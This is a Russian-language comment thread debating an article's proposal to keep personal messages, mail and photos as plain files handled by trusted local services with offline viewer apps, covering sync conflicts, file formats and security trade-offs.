Комментарии 171
Тогда любые сообщения любого мессенджера мы могли бы видеть в одном интерфейсе и отвечать в каждый из них так же как раньше, не думая откуда тебе кто написал. Это было бы удобно.
Это решается мультипротокольными мессенджерами.
Собственно, даже у нас в Миранде используется SQLite, потому что на более-менее приличной истории с сотней тысяч сообщений ваша схема с текстовыми файлами встанет раком. На сколько-нибудь серьёзных историях вам не обойтись без БД.
Если сейчас зайти в папку с 100К файлами и скроллить в файловом менджере проблем не возникает... подгрузка данных проходит моментально налету, точно так же не будет никаких тормозов и проблем с любым гуи, если конечно его не написать так что бы он специально тормозил. Плюс никто не мешает сделать кеширование в самом приложении, например для предпросмотра картинок. Например когда то была такая программа как Picasa от google она является прекрасным примером.
Ну и как бы хотелось бы напомнить что ФС это уже и так БД.
Вам не файлы скроллить нужно, а по истории бегать. По содержимому.
Причём, даже SQLite поначалу для нас была слишком медленной, пока мы не реализовали поддержку курсоров и прочие оптимизации.
а более-менее приличной истории с сотней тысяч сообщений ваша схема с текстовыми файлами встанет раком.
был такой протокол NNTP и его сервер INN (и сейчас есть), он почему-то раком не вставал.
Так же не "разработан" вопрос синхронизации: на двух девайсах изменил один файл и привет, конфликт изменении. Чтобы с этим совладать нужен CRDT, но это уже далеко не просто текстовые файлики, а куча мета инфы.
Ну и отказоустойчивости: вырубился комп, пока пишешь в файл, - получили битый файл. Собственно, одна из основных задач субд - восстанавливать целостность бд после сбоя.
Либо сервис может работать на каждом девайсе, либо можно использовать сервис лишь на одном устройстве а синхранизация данных может проходить через Syncthing, и только теми папками которые на девайсе требуются.
Например на игровой консоли будет только папка с играми, а вот NAS например будет синхронизировать вощбе все папки.
Целостность данных обеспечивается ФС (zfs, apfs и т.д.), но если взять именно ваш пример, где мы пишем например вот этот сообщение и прямо сейчас отключется комп, то данные так и так будут потеряны, если их не сохранять после ввода каждого символа.
Syncthing не решает проблему конфликтов, а запуск сервиса на одном девайсе делает систему централизованной.
Копировать несколько блоков для записи одного байта - такая себе оптимизация получится. И да, некоторые субд могут сохранять каждый символ в реальном времени.
Syncthing решает проблему конфликтов, но есть решения лучше, я же привел в пример первый попавшийся.
Записывать каждый символ можно и в файл. Опять же я нигде не говорил про экономию или что то подобное, Я написал, что есть некоторая усталость от таких решений вроде программы "Фото" от Apple. И есть риски того что ваши данные уже не ваши.
Я просто хотел бы что бы каждый кто прочитал статью понял это. Переубеждать кого то не моя задача, я лишь показал путь выхода из этой ситуации для тех кто понимает.
Каким образом он её решает? Оставляет последнюю по времени версию?
Меня переубеждать и не надо, я уже почти допилил своё решение этих проблем.
Ну во первых мое уважение, посмотрел ваш проект, это классно. Идея хорошая и видимо уже есть некоторая реализация.
Теперь на счет syncthing, во первых это открытый проект, можно дописать если что то требуется. Конфликты решаются так что если запись ведется одновременно в один файл, то создатся дубликат, который ляжет в папку конфликтов, откуда уже ручками юзер сделает исправления.
Но если что даже в Git конфликты решаются не всегда автоматически. Одновременная запись в один файл в работе с Syncthing вообще редкий кейс. Если например смотреть на мою идею, то достаточно запустить сервис лишь на одном устройстве. И тогда лишь один сервис будет обновлять данные. Остальные устройства будут получать данные из Syncthing.
Ручками обычный пользователь не сможет адекватно смёржить что-то помимо неструктурированных текстовых файликов. У меня есть прототип бесконфликтной системы контроля версий, которая по задумке будет в реальном времени синхронизировать файлики между девайсами и сайтами.
Ну если сейчас посмотреть на то как работает iCloud, то при конфликтах он создает дубликат папки... т.е. решение от Syncthing ни сколько не хуже и не лучше чем решение от триллиардной корпорации. Мне кажется кейс когда у нас одновременно меняются данные довольно редкий именно в данном конкретном примере.
В Resilio Sync например, пользователи могут настроить определенные политики для разрешения конфликтов, например, всегда предпочитать более новую версию файла или версию с определенного устройства.
Выбор из двух версий означает выбор какие свои данные вы готовы потерять. Прекрасное решение от триллиардной корпорации, которая взяла ваши данные в заложники.
Частота конфликтов напрямую зависит от стабильности и скорости соединения и интенсивности работы с данными.
Сервер поднять и переехать на те продукты что были перечислены это не то о чем я говорю в статье. Я не хотел бы менять мессенджеры или начать заниматься шифрованием. Я не хотел бы поднимать свой почтовый сервер. Я лишь хотел бы что бы мои данные были у меня на моем ноутбуке/телефоне.
На счет opensource решений, да. Вполне возможно что некоторые наработки можно взять, а может быть и готовые решения.
Данные не должны быть спрятаны в программе. Данные должны быть в папках. Доверенный сервис работает с этими данными, а GUI интерфейсы лишь позволяет эти данные просматривать/редактировать и отправлять через сервис.
Приятно спасибо, да действительно у вас есть понимание моей идеи целиком и полностью.
От общего же формата и места хранения данных - лишь глобальная точка отказа и концентрации потенциальных уязвимостей. "апдейт который ломал локальную базу" теперь сломает все и сразу - а преимуществ кроме красоты дизайна мало.
Я хотел бы уточнить, как именно апдейт в этой схеме может сломать все и сразу? Если я правильно понял речь именно про неудачно обновленный сервис? Скажем так, если opensoruce сервис будет обновляться и мы его станем обновлять и он будет сломан. То он просто не сможет загрузить например свежие данные, старые как были в локальной папке там и остались.
С сервером кака раз нет, такой идеи нигде нет в тексте. И сервер в этой схеме воощбе никак не требуется и не нужен. Возможно если речь про бэкапы данных? Ну скорее всего NAS здесь поможет как нельзя лучше. Или пара ноутбуков, для дупликации данных. Я привел в пример приложение "Фото" у Apple, это пример того как наши данные стали не нашими. Они вроде бы и здесь на ноутбуке, но доступ к ним у нас по разрешению от Apple. А хотелось бы что бы фотографии лежали у меня в папке. Пусть это и займет место на диске, но ssd сейчас не такие дорогие как раньше. И лучше я заплачу за ssd чем за Cloud сервисы экосистемы и устройства для этих экосистем.
С фичами полностью согласен, если внедряется фича меняется и сервис, но куда без этого? Телеграм тоже постоянно обновляется... Федеративные протоколы хорошо web3 еще лучше, в том числе и IPC.
Но я например очень хотел бы утром включить свой ноутбук и в одном интерфейсе лентой увидеть все новые сообщения, все новости, все события разложенные по типам, в одной программе, переведенные на мой родной язык. В этой же ленте ответить на почту, или сообщение (не думая на самом деле, откуда это сообщение из почты или ис дискорта или вообще обычная смс).
Это то что реально можно сделать используя этот подход. И это интерфейс который мы могли получить, если бы не скатились в эти проприетарные экосистемы жадные до денег и каждого байта наших данных.
Как вы думаете, почему мы стали хранить данные непосредственно в приложениях вместо использования стандартных папок, таких как 'Документы' или 'Фотографии', в наших операционных системах?
Одна из причин в том, что нет никакого стандартизированного набора папок, для разных ОС, в том числе например мобильных.
Но вот если бы для каждой программы был бы сервис, который бы каждое сообщение клал в виде файла в папку то все бы изменилось.
Стало бы больше проблем с константностью. Не говоря уже о том, что в разных мессенждерах разный набор сущностей. Где-то есть каналы, где-то групповые чаты, где-то голосовые комнаты и так далее.
нет утечек все секъюрно
Это не откуда не следует, более того, то пункт выше прямо противоречит секъюрности. Если у нас все месседжеры имеют доступ ко всем сообщениям, то достаточно дыры в одном приложении, чтобы утек весь массив ваших переписок, и WhatsApp и Telegram и SMS
А вообще, ваша концепция во многом напоминает то, что уже существует, а именно Fediverse. Можно поднять свой сервер и хранить данные у себя, правда далеко не всем это по карману.
Про мобильные папки я как раз упомянул, особенно уделил внимание айфону.
В разных мессенджерах разный набор сущностей? текст, картинка, видео − наверно основные. Групповы чаты не особо противоречат этой парадигме, ну да, видимо группировка по протоколу будет, никаких сложностей не возникнет и не создает.
Мессенджеры имеют доступы ко всем сообщениям но если внимательно прочитаете статью, то в этой концепции ни один мессенджер не имеет доступа в интернет. Они по сути лишь GUI, вся работа возложена на сервисы, которым мы доверяем и которые имеют доступ только к своему протоколу и только с своим данным в своей папке.
В дополнение, я ни слова не написал про "свой сервер" потому как концепция для обычного пользователя, не для владельца сервера со статическим ip и доменом. Задача лишь вернуть мои данные мне на мой ноутбук. Сделать это секъюрно, сделать это максимально просто а главное что бы было рабочей схемой а не сферическим конем в вакууме.
Про мобильные папки я как раз упомянул, особенно уделил внимание айфону.
Он упоминается только один раз контексте того, что у него мало памяти и есть ограничения по доступу к файлам, хотя на самом деле это проблема не только iPhone – слота под карту памяти нет и в флагманах Samsung и в Pixel
В разных мессенджерах разный набор сущностей?
Кроме групповых чатов могут быть каналы новостей, где пишет один человек, или такие же каналы с комментариями. Может быть как в Дискорде – сервера с каналами разного вида.
то в этой концепции ни один мессенджер не имеет доступа в интернет.
А как тогда отвечать на сообщения? Читать в общей ленте, а для ответа отправляться в другой месседжер? А если я захочу ответить на сообщение процитировав его, как его нормально передать в месседжер который умеет отправлять данные, просто копипастом? Звучит мягко говоря не очень удобно.
В дополнение, я ни слова не написал про "свой сервер" потому как концепция для обычного пользователя, не для владельца сервера со статическим ip и доменом
Без промежуточных серверов невозможно соединить два устройства, если оба находящиеся за провайдерским NAT, например два мобильника.
а главное что бы было рабочей схемой
Увы, пока ваша схема такой не выглядит, она сырая и с большим количеством возможных подводных камней. Наиболее близок (из реализуемых) к ней как раз федивёрс – можно поднять свой сервер, можно пользоваться готовым, но при этом всегда есть возможность забрать свои данные и переехать на другой сервер.
Самсунг, или Гугл, Айфон, это вобщем то девайсы которые загоняют людей в ту самую закрытую экосистему из которой есть выход.
Дискорт или не дискор, идея в том что с любым источником данных работает только сервис, работает ли он с группами или с каналами или с личными сообщениями никакой разницы нет.
Отвечать на сообщения просто, так же через сервис. Т.е. GUI хоть командная строка хоть некая оболочка с красивым интерфейсом может только отображать данные из папки и через сервис делать отправку.
Два устройства можно соединить если это нужно простой пример Syncthing, но можно и не соединять, иметь сервисы на каждом устройстве.
И еще раз повторюсь, это решение для простых юзеров.
работает ли он с группами или с каналами или с личными сообщениями никакой разницы нет.
Вообще-то есть, потому что он должен понимать, как правильно отображать данные, и понимать все возможные типы данных и как их правильно отображать.
Отвечать на сообщения просто, так же через сервис
Я не понимаю, что именно вы имеете в виду под словосочетанием "отвечать через сервис". Мне пришло сообщение в Телеграмм, я увидел его в централизованном GUI, теперь мне нужно на него ответить, как именно это должно происходить?
Два устройства можно соединить если это нужно простой пример Syncthing
Который использует релеи, если оба устройства находятся за NAT
но можно и не соединять, иметь сервисы на каждом устройстве.
И получить неконсистентное состояние, когда на одном устройстве нужный файл есть, а на другом его нет, или там устаревшая версия.
Ну я вообще расписал примеры, но ок. Вот например у нас есть некий мессенджер. Он работает с каким то протоколом. Пусть у нас на ноутбуке есть сервис/демон который запущен и он умеет делать несколько вещей. Работать с протоколом (подсоединиться к серверу, скачать сообщения, сохранить их в папку, умеет отправлять сообщения в нужные группы или нужным людям).
Пусть в нем будет встроенный ИИ, который будет каждое загруженное сообщение обрабатывать, понимать, спам это или не спам или код ауентификации, или личное сообщение, или сообщение написанное на другом языке и т.д.
На диске мы имеем папку в которой например есть папки личных сообщений с обычными людьми, например Вася, Петя... в каждой папке лежат личные сообщения переписки с Васей или Петей. Так же есть групповые папки с названием группы, в которых лежат сообщения каждого кто находится в группе и писал что то.
Теперь нем нужен любой GUI который сможет залезть в папку и посмотреть отобразить сообщения. Пускай это вообще будет файловый менеджер. Мы просто заходим в папку Вася и видим все сообщения (каждое сообщения отдельный файл) смотрим последнее сообщение от Васи. Теперь мы хотим Васе ответить. Т.к. у нас простой файловый менеджер а не специально напианный GUI для сообщнией, а нам надо отправить сообщение, мы наверно пойдем в командную строку, возьмем наш сервис, который умеет отправлять сообщения и передадим ему from: to: message: (опять же это прсото пример), псле чего сервис оптравит для нас это сообщение Васе.
После отправки сообщения оно так же появится в папке с Васей. И когда Вася ответит, тка же появится и Васино сообщение.
Т.е. сервис и только сервис работает с сервером и данными. GUI может быть любой хоть командная строка. Или что то красивое от разрабочиков, или что то самописное, или даже что то сделанное в web.
возьмем наш сервис, который умеет отправлять сообщения и передадим ему from: to: message:
И это совсем не выглядит как что-то user friendly. Если же наш viewer имеет какую-либо возможность отправить данные наружу (например через любое API), то если в нем вдруг обнаружится уязвимость, то это грозит сливом всей нашей переписки из всех месседжеров, потому что viewer имеет доступ ко всем нашим сообщениям.
Трудно что то возразить, пока это не реализовано... но в целом уязвимость может найтись в любом софте, так что это совсем не доказывает что сама идея плохая.
уязвимость может найтись в любом софте
Может, но уязвимости в софте, который имеет доступ ко всем вашим перепискам наиболее критичны.
Как по вашему, что более безопасно: доверить логин пароль от почтового ящика программе некого автора почтовой программы ИЛИ доверить только отображение писем из вашей папки с письмами программе стороннего автора?
Причём для каждой программы должны быт свои права доступа, ограниченные только этой папкой, иначе она переложит все данные из приватной зоны в публичную.
Да, конечно, ограничение на доступ к определенным папкам только на чтение, и к папке отправки данных на запись. Более того, сервис прежде чем отправить письмо, проверяет адресата, и если адреса не находится в контактах, будет алерт с вопросом, уверены что хотите отправить письмо такого содержания на такой то адрес. Это конечно излишняя защита ? но в целом можно и так подстраховаться.
Да-да, и на каждое сообщение в публичном чате должно всплывать системное окно запроса прав. А в список контактов можно добавлять только вручную через конфиг, никаких гуёв.
Если говорить про Контакты, то идея была такой, для сервиса Контактов, источником данных являются папки других приложений. Например почты, сообщений или фотографий. Т.е. он просматривает все сообщения читает теги где есть записи в тегах о контакте. Далее уже делает запрос у юзера, добавить ли вот эти новые найденные контакты или больше о них не сообщать. Можно контакты и вручную добавить, а можно через GUI, тут дело вкуса.
передадим ему from: to: message: (опять же это просто пример), после чего сервис отправит для нас это сообщение Васе
Вам верно говорят, GUI с уязвимостью может его отправить таким образом не только Васе, а еще и разработчику-хакеру. А так как у него есть доступ к этой папке, то может еще и стереть второе сообщение.
Ни стереть ни отправить не сможет... Ограничение на доступ к определенным папкам только на чтение, и к папке отправки данных на запись. Более того, сервис прежде чем отправить письмо, проверяет адресата, и если адресат не находится в контактах, будет алерт с вопросом, уверены что хотите отправить письмо такого содержания на такой то адрес. И конечно GUI не может создать новый контакт, у него только на чтение к папке адресов.
т.е. GUI может только показать, и попросить сервис сделать отправку...
отправить не сможет
Ограничение к папке отправки данных на запись
Эти предложения противоречат друг другу. Если есть некая папка отправки данных, при записи в которую отправляется письмо, и у GUI есть к ней доступ на запись, значит GUI может отправить письмо. Его даже стирать необязательно, большинство пользователей типа знаменитых актрис, которых вы приводите в пример, не будут туда заходить через файловый менеджер.
И это требует более сложной настройки доступа, чем есть по умолчанию в Windows и Linux.
будет алерт с вопросом
Откуда он будет, если в вашем предложении у сервиса нет GUI?
проверяет адресата, и если адресат не находится в контактах
В электронной почте нет списка контактов, письма можно отправлять на любой адрес. То есть вы предлагаете вместо электронной почты использовать какой-то другой продукт с другими стандартами. С хранением в виде файлов это не связано.
Ну ок, пользователю будет показано сообщение "Добавить контакт microsoft-backup-email@hv.com в список контактов?", причем еще при установке приложения с GUI, он возьмет и добавит. А "hv" это сервер хакера Васи.
И конечно GUI не может создать новый контакт
Ну как это не может, если пользователь именно для этого его и поставил. Чтобы отправлять письма разным людям через интерфейс, а не командную строку. А это означает, что в GUI есть кнопка "Добавить контакт".
т.е. GUI может только показать, и попросить сервис сделать отправку
Я именно об этом и написал, и другие тоже. Пользователь хочет иметь кнопку "Отправить письмо" в GUI, значит GUI каким-то образом должен уметь отправлять письмо. Неважно каким именно, сервис попросит или еще как-то. Раз может отправлять на один адрес, значит может отправить и на другой.
Письма отправляет не GUI, он их только формирует. Отправкой занимается доверенный сервис. И да GUI у него может и нет, но алерт показать он может, здесь никаких сложностей не возникнет ни с одной ОС.
Настраивть доступ к папкам это сейчас вообще не проблема, программа сама спрашивает доступ к папке, система гороит об этом юзеру, юзер соглашается или отклоняет. Уже сейчас такой механизм есть для доступа к папкам документов например и т.д.
Можно конечно не мудрить, сделать что бы GUI действительно делал отправку через сервис например просто подключаясь к сервису на локальный порт. Но это уже не будет особо отличаться от любой почтовой программы которая просто цеплятся к почтовому серверу.
Ну и кстати в такой схеме ничто не мешает ЛЮБОЙ почтовой программе взять все ваши письма и переслать хакеру Васе. Плюс к этому еще и оптравить ему ваш логин/пароль. Собственно так и ломали Apple, когда почтовая программа отправляла логин/пароль хакеру Васе, который потом заходил в iCloud и сливал голые фотки.
Но это уже не будет особо отличаться от любой почтовой программы которая просто цеплятся к почтовому серверу.
Естественно, вам про это и говорят. Нет принципиальных отличий, через порт она получает данные или через файлы. Сделать так можно уже сейчас, даже одну общую программу, которая подключается к разным сервисам через порты и имитирует файловую систему. Так не делают потому что это ничего не меняет, только добавляет усложнение.
И да GUI у него может и нет, но алерт показать он может
Нет. Нам нужен не просто MessageBox с кнопкой "OK", а полноценная форма добавления контакта с полями "Email", "Имя", "Группа". А раз есть добавление, то нужно и отображение списка. Это означает, что у сервиса есть свой GUI с частью интерфейса, связанного с отправкой email.
Письма отправляет не GUI, он их только формирует. Отправкой занимается доверенный сервис.
Вы похоже не понимаете, ну или делаете вид. Неважно, через скольких посредников GUI отправляет письмо. Если пользователь может нажать кнопку в GUi, и письмо отправится, это означает, что GUI может отправить письмо. GUI от хакера может имитировать нажатие кнопки, положить копию письма в папку отправки на другой адрес, и сервис его отправит.
Естественно, вам про это и говорят. Нет принципиальных отличий, через порт она получает данные или через файлы. Сделать так можно уже сейчас, даже одну общую программу, которая подключается к разным сервисам через порты и имитирует файловую систему. Так не делают потому что это ничего не меняет, только добавляет усложнение.
Ну так и в чем тогда вопрос? Если так рассуждать то либо вообще не надо польсоваться никакими прогрмамами, либо все таки выбрать то, где утечка будет меньше.
Нет. Нам нужен не просто MessageBox с кнопкой "OK", а полноценная форма добавления контакта с полями "Email", "Имя", "Группа". А раз есть добавление, то нужно и отображение списка. Это означает, что у сервиса есть свой GUI с частью интерфейса, связанного с отправкой email.
Ну вообще достаточно простого алерта "Запрошена отправка письма "Привет хакер" на неизвестный адрес hacker@vasya.com" "Отправить", "Отмена"
Почему нельзя просто в тексте это отобразить?
Вы похоже не понимаете, ну или делаете вид. Неважно, через скольких посредников GUI отправляет письмо. Если пользователь может нажать кнопку в GUi, и письмо отправится, это означает, что GUI может отправить письмо. GUI от хакера может имитировать нажатие кнопки, положить копию письма в папку отправки на другой адрес, и сервис его отправит.
Еще раз повторю, есл итак думать как вы, то здесь вообще ничего не поможет, любую программу напиши и это будет плохо. Вам нужно немного вернуться в реальность и сложить все за и против, если будет программа от хакера Васи, то где ущерба будет больше? Где программе передан логин пароль или где программа не может ничего сделать кроме как сформировать письмо?
Ну так и в чем тогда вопрос?
В том, что тогда дает переход на файлы, который вы предлагаете?
либо все таки выбрать то, где утечка будет меньше
Конечно. И переход на файлы для этого не нужен. Он не делает возможность утечки меньше. А если пользователь не уследит за правами доступа, то делает больше.
Ну вообще достаточно простого алерта "Запрошена отправка письма на неизвестный адрес"
Тогда это не будет список контактов. "Неизвестный" означает, что где-то хранится список известных. Я хочу иметь к нему доступ в интерфейсе. И возможность добавить заранее, а не при отправке email.
Еще раз повторю, есл итак думать как вы, то здесь вообще ничего не поможет, любую программу напиши и это будет плохо.
Еще раз повторю, именно это вам и пытаются объяснить. Ваше предложение ничего не меняет.
где ущерба будет больше? Где программе передан логин пароль или где программа не может ничего сделать кроме как сформировать письмо?
В обоих одинаково. Если у программы от хакера уже есть доступ ко всем письмам, то ему логин-пароль и не нужен.
программа не может ничего сделать кроме как сформировать письмо
Зачем я буду ставить такой GUI, который ничего не может сделать? Мне нужен GUI с кнопками "Отправить письмо", "Добавить контакт", и т.д. Как он будет это делать, через папки или сервисы, мне неважно.
Значит видимо вина то не во мне, а в том что вы таки не прочитали статью... в ней вроде говорится как раз о контактах
То, что я написал, никак не противоречит тому, что вы написали в статье. Если какой-то сервис у меня спрашивает про неизвестные контакты, я хочу иметь контроль над тем, какие контакты известные, а не полагаться на какой-то непонятный ИИ. Значит мне нужен интерфейс со списком этих контактов.
С ИИ вообще интересно получается. Хакер Вася разослал спам миллиону пользователей с адреса "hacker@vasya.com", ИИ заботливо автоматически добавил его в контакты всех этих пользователей, потом некоторые поставили GUI от Васи, и теперь Вася может отправлять себе копии их писем без всяких уведомлений от сервисов.
Что бы рассказать как именно можно сделать связку с контактами например, да и не только... с СМС, с календарем, с лентой rss, фотографиями и шарингом в папках, придется писать еще одну статью. И она пока еще не дописана.
Суть в том что контакты точно так же сами не появятся, и "полагаться на какой то там ИИ" не нужно, юзер главный.
И да я вижу что понимания у вас по прежнему нет. Сервисы разные. Сервис контактов это не тот же самый сервис Email. В статье помоему список был.
Предлагаю вам прям сесть и прочитать статью от и до, а потом вернуться к дискуссии.
ну и советую на счет логина пароля еще раз перечитать... это было у Apple и ущерб был не соизмерим с обынчой пересылкой пары писем
И да я вижу что понимания у вас по прежнему нет.
советую на счет логина пароля еще раз перечитать
Не надо прикрывать собственное непонимание обвинением собеседников в непонимании. Неважно, 1 у вас сервис или 10, это все равно полноценный GUI, а не "просто alert" как вы утверждали сначала.
Я прекрасно понимаю, что происходило с Apple, и ущерб был не соизмерим с обычной пересылкой пары писем, но ваше предложение перейти на файлы никак эту проблему не решает.
Кстати, можете дать ссылку на источник информации, что "Это дало сторонним почтовым приложениям возможность доступа ко всему содержимому iCloud пользователей"? Насколько я знаю, дело было совсем не в этом.
Зачем я буду ставить такой GUI, который ничего не может сделать? Мне нужен GUI с кнопками "Отправить письмо", "Добавить контакт", и т.д. Как он будет это делать, через папки или сервисы, мне неважно.
Я так понял идею автора, что в первой программе он читает/пишет письма, жмёт "Отправить". Первая программа создаёт файл в папке "Исходящие". А вторая программа, изолированная от первой отдельной песочницей, или даже виртуальной машиной, проверяет белый список получателей, выводит алерт, предлагает добавить нового получателя в список.
Я с такими схемами наигрался ещё в 2000-х, когда при подключении к интернету ставил firewall и каждый коннект утверждал вручную, потом настраивал правила, потом мне это всё надоело и я смирился с тем, что любой софт может сливать в сеть что угодно. Тут автор публикации тешит свою параною и готов заниматься настройками взаимодействий между программами в целях "безопасности". Ну нравится ему, пусть развлекается. Идея точно не пойдёт в массы.
В те годы был целый класс программ "персональный файрвол", популярный и неплохо продающийся. А сейчас где они все?
Я понял, я говорю, что таким образом тоже можно отправить копию письма куда нужно. Белый список это ок, но если в алерте будет какой-нибудь "microsoft-backup@some-domain.com", большинство не будут разбираться что это за адрес, а нажмут "ОК".
Кстати, интересный момент. В алерте нужно показать, что за письмо кому отправляется ("сабжа" недостаточно, он может быть поддельным). А это значит, в сервисе-отправщике должны быть функции хотя бы предпросмотра (делегировать программе просмотра мы не можем, мы же ей не доверяем).
Всё верно, вы сказали.
Но есть еще что то кроме безопасности, поэтому для меня это по прежнему имеет значение. Например мои данные находятся у меня в оригинальном формате, если автор прогаммы перестанет поддерживать ее мне наплевать, т.к. данные при мне, не надо будет просить его экспортировать их в каком то виде и т.д.
Я смогу работать с моими данными двумя или тремя программами. Сейчас в каждую программу нужно эти данные импортировать или использовать какой то API или писать плагин для работы с данными. Например обработка фоток в программе Фото.
Также появляется возможность обработки данных ИИ, например для того что бы не заморачиваться с GUI, а просто сказать "составь индивидуальное пригласительное письмо для каждого моего близкого друга и моих родных, кроме моей двоюродной сестры, что бы пришли на мой ДР в 19:00 в клуб" и отправь завтра. ИИ пробежиться по всем контактам что бы посмотреть кто мой близкий друг, просмотрит родственные связи, пройдется по списку сообщений чт обы понять как написать индивидуальный текст письма. И сгенерирует письма. При чем отправит не просто почтой, а в наиболее подходящие сервисы, кому то на почту, кому то в телеграм, кому то в вотсап. И это сделать не сложно когда данные у нас свободны.
Другой пример обновление карточек контактов, здесь это можно так же переложить на ИИ, и карты контактов будут обновлять информацию, новый номер телефона например или фотка.
Работа с фотографиями так же будет лучше во много раз, по мимо редактирования о котором я выше написал, появится например нормальный поиск. Если ты напишешь красная машина, то поиск найдет все фотографии на которых красная машина. Сейчас с этим большие проблемы, которые вообще никто не понимает как решать. Эпл интегрирует свой говно ИИ для фотографий, который еле еле просто "красный цвет" понимает. А как дать доступ сторонним ИИ они не знают, потому что данные в БД закрыты.
Дальше можно продолжить если данные все открыты, можно например взять все источники и с утра составить лентой все свежие поступления за ночь. В одном визуальном формате, письма, сообщения, новости и т.д. В одном интерфейсе можно их прочитать, можно их переслать, можно на них ответить. Такое вы вообще сейчас никак не сделаете. Для этого надо будет писать прогрмаму "комбайн" которая будет подклаться к почте, к rss, к остлаьным протоколам. И доверить данные такой программе, это просто открыть ворота в свою личную жизнь. А в моем подходе такая программа не получит ровным счетом ничего, но при этом будет легкой и красиво выполнит свою функцию.
Например мои данные находятся у меня в оригинальном формате, если автор прогаммы перестанет поддерживать ее мне наплевать, т.к. данные при мне, не надо будет просить его экспортировать
Я смогу работать с моими данными двумя или тремя программами
Утопия. Кто будет согласовывать форматы? Комитет при Президенте, а отступившихся от формата расстреливать?
Если нет, то каждый разработчик будет добавлять в формат свои фичи, и в итоге всё равно придётся писать конверторы, или выбирать, какой одной программой пользоваться. Потому что одна программа поддерживает фичу X, а другая программа про неё не знает, и при пересохранении документа теряет эту информацию
png, jpg, txt, md, epb, eml, msg, mht, html?
Это очень частные случаи простых документов (картинок), которые уже достигли максимума и не развиваются. Даже здесь, где тут webp, jxl, jp2?
Или остановим прогресс, и кроме png/jpg все картинки запрещены?
А что насчёт формата библиотеки фотографий, чтобы тэги, сортировки, коллекции были понятны разным программам?
А где электронные таблицы?
мне привести все форматы файлов что ли не пойму? есть универсальные форматы для таблиц csv например и т.д. в чем вообще вопрос?
csv меня категорически не устроит, потому что теряет любое форматирование (в csv вообще ничего нет - ни листов, ни формул, ни форматирования).
Всё равно, что предлагать для любых документов формат txt в блокноте. А что? Мне нормально, значит и другим должно быть нормально.
XLSX? ODS? тоже не подходят?
Заставим сайты публиковать новости в формате ODS, чтобы без проблем переслать их на e-mail или сохранить в свой архив? Или всё же понадобятся конверторы?
зачем? не совсем понял... есть форматы файлов, при чем тут сайты?
Потому что
Дальше можно продолжить если данные все открыты, можно например взять все источники и с утра составить лентой все свежие поступления за ночь. В одном визуальном формате, письма, сообщения, новости и т.д. В одном интерфейсе можно их прочитать, можно их переслать, можно на них ответить. Такое вы вообще сейчас никак не сделаете. Для этого надо будет писать прогрмаму "комбайн" которая будет подклаться к почте, к rss, к остлаьным протоколам
ну и? все равно не понимаю
GUI работает с папками, при чем тут сайты?
Аггрегатор собрал новости и положил их в папку в каком формате?
EML? HTML? PDF?
Нужно чтобы эти новости (с картинками и разметкой) можно было и в мессенджер отправить, и вставить в программу вёрстки своей стенгазеты, если я делаю недельный дайджест новостей.
Ну я сейчас пишу сервис для RSS, т.к. они в оригинальном виде представляют из себя html страницы, то ясное дело ханиться это будет в каком то фромате с html, например .mht или .epub. Можно и .pdf, но он не имеет резиновой верстки, поэтому наврядли подойдет.
Программа агрегатор, да, будет уметь посмотреть любой из этих форматов, а как по другому? Но это не сверсложная задача, не полет на марс, тем более когда есть WebView, когда формат файл известен всем.
Пытаетесь придумать сложноти там где их давно нет.
В чем сложность переслать такую новость? Можно переслать как ссылку на новость, можно переслать прямо файлом .epub например. Можно переслать через email, можно переслать прямо в мессенджер.
Вы под какую платформу пишете? Вряд ли это iOS, а на Windows вы хотите что с чем интегрировать?
Под iOS даже привычный софт сложно пилить, не говорю уже про сервисы, слишком закрытая. Вообще вот эти сервисы это для меня работа по отказу от iOS в том числе. Виндовс я пользовался с 95 по XP, дальше перешел на macOS. Сейчас я в дополнение использую OpenBSD и Fedora.
XLSX? ODS? тоже не подходят?
И кстати да, не подходят.
Топим же за унификацию.
А значит, простенький блокнот должен будет уметь открывать ODS, а IoT-счётчик расхода электроэнергии должен будет выгружать показания не в csv, а в xlsx, иначе придётся иметь зоопарк форматов и не любая программа прочтёт другую.
почему блокнот должен уметь открывать их не понимаю...
Потому что нет чёткой границы между Word и Notepad.
Если вы хотите
Я смогу работать с моими данными двумя или тремя программами. Сейчас в каждую программу нужно эти данные импортировать или использовать какой то API или писать плагин для работы с данными
Придётся каждую программу учить всем трюкам, которые умеет любая другая программа. Иначе нет речи о взаимозаменяемости.
Почему? Я уже не улавливаю сути. Полно программ под разные форматы файлов, используйте. Важно что бы эти программы не хранили файлы внутри себя.
Место хранения это только половина дела. А ещё нужно, чтобы файл был прочитан другой программой. Непонятный бинарник без спецификации вас вряд ли устроит.
Не надо использовать не понятный бинарник... почему и зачем вас тянет использовать непонятный бинарник или изобретать новый формат файла?
Потому что у моей программы есть внутренний формат, и я просто скидываю объекты в файл "как есть". Изучать чей-то чужой формат и под него подстраиваться - должно быть серьёзное основание.
Об этом и речь, что понятие "моей программы" и привело к тому что разработчику проще хранить данные внутри в БД. Если программа лишь GUI то ей ничего внутри хранить не придется и ей буквально требуется в 10 раз меньше работы чем было раньше. Вся запбора по работе с данными и серверами уходит в прошлое и ложится на плечи сервисов.
Никто при этом не мешает вам по прежнему использовать вашу программу, правда зачем она нужна будет не понятно, если она не умет не экспортировать данные ни импортировать.
XLSX? ODS? тоже не подходят?
Чем это отличается от хранения в MDB или любом другом формате баз данных?
ничем, храните в любом формате... я писал в статье, что чем ближе данные к оригиналу тем лучше
Так они сейчас так и хранятся, в базе данных, только на сервере. Если вы будете хранить их локально в формате базы данных, вам все равно будет нужна программа (или сервис), которая умеет их открывать, а все GUI будут подключаться к ней и работать через нее. А подключение означает логин и пароль, или какой-то другой способ ограничения доступа, чтобы не любые GUI могли подключиться. Никаких отличий от того, что есть сейчас.
Я не предлагал хранить их локально в виде базы данных. Я предлагаю хранить все данные в виде файлов. Работает с сервером и данными доверенный сервис. Работают с данными GUI которые не имеют доступа в интернет.
Ещё раз. Какие это даст преимущества?
Безопасность вы так не продадите. Потому что нужно следить за друмя программами, и за общей средой обмена. Да и взлом локальных программ - редкий зверёк, в дикой природе почти не встречающийся.
Неужели преимущества до сих пор не очевидны, после столь плотной беседы?
Резюмирую самые очевидные преимущества:
Мои данные свободны, нет зависимости от вендоров или авторов программ
Возможность работы ИИ с моими данными
С чувствительными данными работают лишь доверенные сервисы, программы авторов или вендоров лишь реализуют GUI
Хорошо. А теперь, внимание, вопрос.
Для кого вы писали статью?
